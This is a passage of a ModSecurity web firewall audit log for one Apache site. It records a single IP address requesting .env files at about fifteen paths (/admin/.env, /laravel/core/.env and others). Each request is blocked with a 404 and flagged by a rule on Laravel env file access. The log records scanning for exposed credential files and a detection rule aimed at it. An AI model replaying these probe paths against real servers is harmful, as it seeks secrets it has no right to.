Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--60007d3b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--60007d3b-E--
--60007d3b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/node_modules/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hgAAAI8"]
Stopwatch: 1789293704591142 32044 (- - -)
Stopwatch2: 1789293704591142 32044; combined=14434, p1=265, p2=14114, p3=26, p4=4, p5=25, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--60007d3b-Z--
--46d50601-A--
[13/Sep/2026:13:01:44.623296 +0300] aqZ0iEwu1RSkptiiNIX5ggAAAJA 45.138.12.13 58952 127.0.0.1 7081
--46d50601-B--
GET /nginx/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--46d50601-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--46d50601-E--
--46d50601-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/nginx/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5ggAAAJA"]
Stopwatch: 1789293704576572 46789 (- - -)
Stopwatch2: 1789293704576572 46789; combined=4779, p1=236, p2=4425, p3=66, p4=8, p5=44, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--46d50601-Z--
--4476201f-A--
[13/Sep/2026:13:01:44.623430 +0300] aqZ0iGM7dE9KgIIOpQh3LAAAANM 45.138.12.13 59002 127.0.0.1 7081
--4476201f-B--
GET /kyc/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--4476201f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--4476201f-E--
--4476201f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/kyc/.env"] [unique_id "aqZ0iGM7dE9KgIIOpQh3LAAAANM"]
Stopwatch: 1789293704606931 16567 (- - -)
Stopwatch2: 1789293704606931 16567; combined=3208, p1=224, p2=2892, p3=52, p4=6, p5=34, sr=77, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4476201f-Z--
--e012bd49-A--
[13/Sep/2026:13:01:44.623812 +0300] aqZ0iEwu1RSkptiiNIX5gwAAAIs 45.138.12.13 58974 127.0.0.1 7081
--e012bd49-B--
GET /public/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--e012bd49-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e012bd49-E--
--e012bd49-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/public/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gwAAAIs"]
Stopwatch: 1789293704582972 40906 (- - -)
Stopwatch2: 1789293704582972 40906; combined=4832, p1=235, p2=4484, p3=65, p4=8, p5=40, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e012bd49-Z--
--8c70745b-A--
[13/Sep/2026:13:01:44.623953 +0300] aqZ0iEwu1RSkptiiNIX5hAAAAJc 45.138.12.13 58982 127.0.0.1 7081
--8c70745b-B--
GET /main/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--8c70745b-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8c70745b-E--
--8c70745b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/main/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hAAAAJc"]
Stopwatch: 1789293704585257 38805 (- - -)
Stopwatch2: 1789293704585257 38805; combined=4375, p1=205, p2=4069, p3=50, p4=6, p5=45, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8c70745b-Z--
--b893c20a-A--
[13/Sep/2026:13:01:44.624131 +0300] aqZ0iEwu1RSkptiiNIX5hQAAAIk 45.138.12.13 59012 127.0.0.1 7081
--b893c20a-B--
GET /admin/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--b893c20a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--b893c20a-E--
--b893c20a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/admin/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5hQAAAIk"]
Stopwatch: 1789293704589474 34735 (- - -)
Stopwatch2: 1789293704589474 34735; combined=4211, p1=264, p2=3825, p3=79, p4=7, p5=36, sr=143, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b893c20a-Z--
--97052918-A--
[13/Sep/2026:13:01:44.624295 +0300] aqZ0iEwu1RSkptiiNIX5iQAAAJY 45.138.12.13 58958 127.0.0.1 7081
--97052918-B--
GET /site/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--97052918-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--97052918-E--
--97052918-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/site/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5iQAAAJY"]
Stopwatch: 1789293704600593 23767 (- - -)
Stopwatch2: 1789293704600593 23767; combined=3793, p1=217, p2=3485, p3=53, p4=6, p5=32, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--97052918-Z--
--8b34796a-A--
[13/Sep/2026:13:01:44.624445 +0300] aqZ0iEwu1RSkptiiNIX5igAAAIM 45.138.12.13 58948 127.0.0.1 7081
--8b34796a-B--
GET /mailer/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--8b34796a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8b34796a-E--
--8b34796a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/mailer/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5igAAAIM"]
Stopwatch: 1789293704606214 18296 (- - -)
Stopwatch2: 1789293704606214 18296; combined=3871, p1=179, p2=3594, p3=52, p4=6, p5=40, sr=82, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8b34796a-Z--
--5eda6d07-A--
[13/Sep/2026:13:01:44.624587 +0300] aqZ0iEwu1RSkptiiNIX5gQAAAJE 45.138.12.13 58938 127.0.0.1 7081
--5eda6d07-B--
GET /laravel/core/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--5eda6d07-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--5eda6d07-E--
--5eda6d07-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/laravel/core/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5gQAAAJE"]
Stopwatch: 1789293704570042 54645 (- - -)
Stopwatch2: 1789293704570042 54645; combined=5048, p1=220, p2=4693, p3=82, p4=9, p5=43, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5eda6d07-Z--
--34332b02-A--
[13/Sep/2026:13:01:44.624762 +0300] aqZ0iEwu1RSkptiiNIX5iwAAAIc 45.138.12.13 59060 127.0.0.1 7081
--34332b02-B--
GET /prod/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--34332b02-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--34332b02-E--
--34332b02-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/prod/.env"] [unique_id "aqZ0iEwu1RSkptiiNIX5iwAAAIc"]
Stopwatch: 1789293704611371 13458 (- - -)
Stopwatch2: 1789293704611371 13458; combined=4036, p1=184, p2=3715, p3=40, p4=7, p5=90, sr=89, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--34332b02-Z--
--227a7e6a-A--
[13/Sep/2026:13:01:46.780971 +0300] aqZ0ikwu1RSkptiiNIX5jgAAAIY 45.138.12.13 54480 127.0.0.1 7081
--227a7e6a-B--
GET /development/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--227a7e6a-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--227a7e6a-E--
--227a7e6a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/development/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5jgAAAIY"]
Stopwatch: 1789293706775490 5549 (- - -)
Stopwatch2: 1789293706775490 5549; combined=4171, p1=348, p2=3727, p3=56, p4=6, p5=34, sr=189, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--227a7e6a-Z--
--fb811450-A--
[13/Sep/2026:13:01:46.790756 +0300] aqZ0ikwu1RSkptiiNIX5jwAAAJI 45.138.12.13 54508 127.0.0.1 7081
--fb811450-B--
GET /api/shared/config/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--fb811450-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--fb811450-E--
--fb811450-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/shared/config/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5jwAAAJI"]
Stopwatch: 1789293706784973 5857 (- - -)
Stopwatch2: 1789293706784973 5857; combined=4531, p1=228, p2=4200, p3=59, p4=7, p5=36, sr=92, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fb811450-Z--
--d8679a01-A--
[13/Sep/2026:13:01:46.807600 +0300] aqZ0ikwu1RSkptiiNIX5kgAAAIo 45.138.12.13 54492 127.0.0.1 7081
--d8679a01-B--
GET /website/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d8679a01-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d8679a01-E--
--d8679a01-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/website/.env"] [unique_id "aqZ0ikwu1RSkptiiNIX5kgAAAIo"]
Stopwatch: 1789293706802125 5647 (- - -)
Stopwatch2: 1789293706802125 5647; combined=4289, p1=245, p2=3938, p3=65, p4=7, p5=34, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8679a01-Z--
--96300256-A--
